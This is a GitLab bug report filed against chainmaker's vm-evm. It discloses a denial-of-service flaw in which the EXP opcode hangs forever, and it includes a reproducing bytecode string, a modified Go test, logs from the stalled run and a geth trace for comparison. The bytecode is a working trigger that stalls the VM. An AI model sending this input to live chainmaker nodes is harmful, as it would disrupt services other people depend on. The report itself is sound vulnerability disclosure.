Skip to content

GitLab

  • Projects
  • Groups
  • Snippets
  • Help
    • Loading...
  • Sign in
issue
issue
  • Project overview
    • Project overview
    • Details
    • Activity
    • Releases
  • Repository
    • Repository
    • Files
    • Commits
    • Branches
    • Tags
    • Contributors
    • Graph
    • Compare
  • Issues 23
    • Issues 23
    • List
    • Boards
    • Labels
    • Service Desk
    • Milestones
  • Wiki
    • Wiki
  • Snippets
    • Snippets
  • Members
    • Members
  • Activity
  • Graph
  • Create a new issue
  • Commits
  • Issue Boards
Collapse sidebar

新注册的用户请输入邮箱并保存,随后登录邮箱激活账号。后续可直接使用邮箱登录!

  • chainmaker
  • issueissue
  • Issues
  • #1173

Closed
Open
Opened Sep 02, 2024 by jie ma@alleysira3 of 3 tasks completed3/3 tasks

Denial of Serivice due to the `EXP` opcode implementation in chainmaker vm-evm

【问题分类】

  • bug
  • smart contract
  • EVM

【问题描述】

This is a similar problem with SealEVM at github issue When executing the opcode EXP (0x0a), chainmaker/vm-evm will wait forever without outputting result.

That is to say, chainmaker/vm-evm gets stuck in opcode EXP and can not execute next opcode, causing a denial of service attack.

According to SealEVM patch at commit, the implementation of the fundamental mathematical calculation of exp is vulnerable.

How to reproduce

Set deployed bytecode

Simply pull the latest version of the vm-evm and enter the vm-evm/evm-go dir.

git clone https://git.chainmaker.org.cn/chainmaker/vm-evm.git
cd vm-evm/evm-go

Change the code in func TestEVM_ExecuteContract() to bytecode 6ce1fd12a42ec6dc66e9702e565a6f6ed801f2f2984c5805d1b92423f24d720a60005260406000f3

func TestEVM_ExecuteContract(t *testing.T) {
	test.CertFilePath = "../test/config/admin1.sing.crt"
	test.ByteCodeFile = "../test/contracts/contract02/storage.bin"
	method := "store"
	myAbi, _ := abi.JSON(strings.NewReader(abiJSON))
	//if _, ok := myAbi.Methods[method]; !ok {
	//	panic("expected 'balance' to be present")
	//}

	data, err := myAbi.Pack(method, big.NewInt(100))
	fmt.Println("err:", err)
	fmt.Println("callback result info data:", data)
	fmt.Println("callback result info data:", hex.EncodeToString(data))

	evmTransaction := environment.Transaction{
		TxHash:   []byte("0x1"),
		Origin:   userAddress(userSki), // creator address
		GasPrice: constTransactionGasPrice(),
		GasLimit: constTransactionGasLimit(),
	}
	_, txContext, code := test.InitContextTest(pb.RuntimeType_EVM, t)

	//code, err = hex.DecodeString(string(code))
	code, err = hex.DecodeString("6ce1fd12a42ec6dc66e9702e565a6f6ed801f2f2984c5805d1b92423f24d720a60005260406000f3")
	if err != nil {
		panic(err)
	}
	contract := environment.Contract{
		Address: contractAddress(contractName),
		Code:    code,
		Hash:    contractHash(code),
	}

	//data, _ := hex.DecodeString(methodSum)

	evm := New(EVMParam{
		MaxStackDepth:  1024,
		ExternalStore:  &storage.ContractStorage{Ctx: txContext},
		ResultCallback: callback,
		Context: &environment.Context{
			Block: environment.Block{
				Coinbase:   userAddress(userSki), //proposer ski
				Timestamp:  evmutils.New(0),
				Number:     evmutils.New(0), // height
				Difficulty: evmutils.New(0),
				GasLimit:   blockGasLimit,
			},
			Contract:    contract,
			Transaction: evmTransaction,
			Message: environment.Message{
				Caller: userAddress(userSki),
				Value:  evmutils.New(0),
				Data:   data,
			},
		},
	})

	//instructions.Load()
	_, _ = evm.ExecuteContract(true)
}

Where 6ce1fd12a42ec6dc66e9702e565a6f6ed801f2f2984c5805d1b92423f24d720a60005260406000f3 are the opcodes as shown below:

PUSH13 e1fd12a42ec6dc66e9702e565a
PUSH16 6ed801f2f2984c5805d1b92423f24d72
EXP
PUSH1 00
MSTORE
PUSH1 40
PUSH1 00
RETURN

add logging statement

Add a log statement in func (i *instructionsContext) ExecuteContract(isCreate bool) of vm-evm/evm-go/instructions/instructions.go to print the executed opcode.

func (i *instructionsContext) ExecuteContract(isCreate bool) ([]byte, uint64, []byte, []byte, error) {
	i.timeUsed = 0
	i.pcCount = 0
	i.pc = 0
	contract := i.environment.Contract

	if len(contract.Code) == 0 {
		return nil, i.gasRemaining.Uint64(), nil, nil, fmt.Errorf("contract code is null")
	}

	var ret []byte
	var err error = nil
	var byteCodeHead []byte
	var byteCodeBody []byte
	startTime := time.Now()
	version := i.storage.GetCurrentBlockVersion()
	for {
		i.pcCount++
		opCode := contract.Code[i.pc]
		// opcode logging 
		log.Print(opCode)

【相关日志文件】

~/vm-evm/evm-go$ go test -run TestEVM_ExecuteContract

You can see that the SealEVM stucks and return nothing. The last executed opcode is 0x0a EXP.

alleysira@LAPTOP-GOVN7GRV:~/vm-evm/evm-go$ go test -run TestEVM_ExecuteContract
err: 1 arguments in struct expected, 2 received
callback result info data: []
callback result info data:
byteCode file size=402
contract addr1 = c4df070bf9cdd8c9e7b7c49c86cc76d9d661df50
2024/09/02 17:22:59 108
2024/09/02 17:22:59 111
2024/09/02 17:22:59 10

image

Here is the result from geth/evm 1.14.9-unstable-6eb42a6b-20240815. Geth and other EVM returned 0.

// geth
{"pc":0,"op":108,"gas":"0xffffff","gasCost":"0x3","memSize":0,"stack":[],"depth":1,"refund":0,"opName":"PUSH13"}
{"pc":14,"op":111,"gas":"0xfffffc","gasCost":"0x3","memSize":0,"stack":["0xe1fd12a42ec6dc66e9702e565a"],"depth":1,"refund":0,"opName":"PUSH16"}
{"pc":31,"op":10,"gas":"0xfffff9","gasCost":"0x294","memSize":0,"stack":["0xe1fd12a42ec6dc66e9702e565a","0x6ed801f2f2984c5805d1b92423f24d72"],"depth":1,"refund":0,"opName":"EXP"}
{"pc":32,"op":96,"gas":"0xfffd65","gasCost":"0x3","memSize":0,"stack":["0x0"],"depth":1,"refund":0,"opName":"PUSH1"}
{"pc":34,"op":82,"gas":"0xfffd62","gasCost":"0x6","memSize":0,"stack":["0x0","0x0"],"depth":1,"refund":0,"opName":"MSTORE"}
{"pc":35,"op":96,"gas":"0xfffd5c","gasCost":"0x3","memory":"0x0000000000000000000000000000000000000000000000000000000000000000","memSize":32,"stack":[],"depth":1,"refund":0,"opName":"PUSH1"}
{"pc":37,"op":96,"gas":"0xfffd59","gasCost":"0x3","memory":"0x0000000000000000000000000000000000000000000000000000000000000000","memSize":32,"stack":["0x40"],"depth":1,"refund":0,"opName":"PUSH1"}
{"pc":39,"op":243,"gas":"0xfffd56","gasCost":"0x3","memory":"0x0000000000000000000000000000000000000000000000000000000000000000","memSize":32,"stack":["0x40","0x0"],"depth":1,"refund":0,"opName":"RETURN"}
{"output":"00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","gasUsed":"0x2ac"}

【系统信息】

  • **chainmaker-go version ** : all versions of vm-evm, go version go1.22.3 linux/amd64
  • **OS & version ** :Ubuntu 20.04
Edited Sep 03, 2024 by jie ma
Assignee
Assign to
None
Milestone
None
Assign milestone
Time tracking
None
Due date
None
Reference: chainmaker/issue#1173

Copyright © 2021 ChainMaker Org. All Rights Reserved. 长安链 版权所有。